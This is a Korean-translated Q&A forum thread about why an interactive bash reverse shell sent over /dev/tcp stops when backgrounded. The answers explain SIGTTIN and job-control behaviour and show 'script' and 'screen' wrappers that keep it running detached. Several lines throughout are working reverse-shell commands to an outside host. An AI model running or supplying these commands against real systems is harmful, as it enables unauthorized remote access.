SSH를 통해 연결하면 다음 줄을 사용하여 원격 셸을 만들 수 있습니다.
bash -i >& /dev/tcp/10.1.1.20/443 0>&1
그러나 이로 인해 프로세스가 완료되기를 기다리는 현재 쉘이 "정지"됩니다. 그래서 새로운 프로세스를 만들고 싶습니다. BG 연산자를 사용하려고 하면 &
어떤 이유로 bg 프로세스가 즉시 중지됩니다.
root@debian:~# bash -i >& /dev/tcp/10.1.1.20/443 0>&1 &
[5] 2565
root@debian:~#
[5]+ Stopped bash -i &> /dev/tcp/10.1.1.20/443 0>&1
내가 노력해도 마찬가지다bash -c "bash -i..."
현재 쉘에 영향을 주지 않고 새 프로세스에서 bash를 생성하는 방법은 무엇입니까?
답변1
이는 대화형 셸 프로세스가 제어 터미널의 포그라운드 프로세스 그룹에 있는지 확인하고, 그렇지 않은 경우 SIGTTIN
중지하라는 신호인 로 자체 종료되기 때문에 발생합니다. stderr 및 stdin이 다른 곳으로 리디렉션되면 /dev/tty
fd를 제어 터미널로 가져오기 위해 직접 열립니다.
대시에서 이를 수행하는 코드는 다음과 같습니다. 그러나 bash는 동일한 작업을 수행합니다.
do { /* while we are in the background */
if ((pgrp = tcgetpgrp(fd)) < 0) {
out:
sh_warnx("can't access tty; job control turned off");
mflag = on = 0;
goto close;
}
if (pgrp == getpgrp())
break;
killpg(0, SIGTTIN);
} while (1);
다른 파일에서 쉘의 표준 fd를 리디렉션해도 제어 터미널에서 분리되지 않습니다.
OP의 소위 "원격 쉘" 트릭은 전혀 신뢰할 수 없거나 실용적이지 않습니다. 다음과 같이 의사 터미널을 생성하는 명령으로 래핑하면 더 나은 행운을 누릴 수 있습니다 script
.
script -c 'bash -i' /dev/null </dev/tcp/somehost/someport >&0 2>&1 &
답변2
(대화형) 플래그를 bash
사용하여 백그라운드에서 실행을 거부하는 이유를 설명할 수 없습니다.-i
표준 입력,표준 출력, 그리고표준 에러모두 리디렉션되었습니다. 그러나 최종 질문에 대답하려면 다음 screen
으로 프로세스를 시작하거나tmux
screen -md bash -c 'bash -i >/dev/tcp/10.1.1.20/443 2>&1 0<&1'
-m
새로운 분리 프로세스 시작을 -d
나타내는 플래그 . 자세히보다.screen
man screen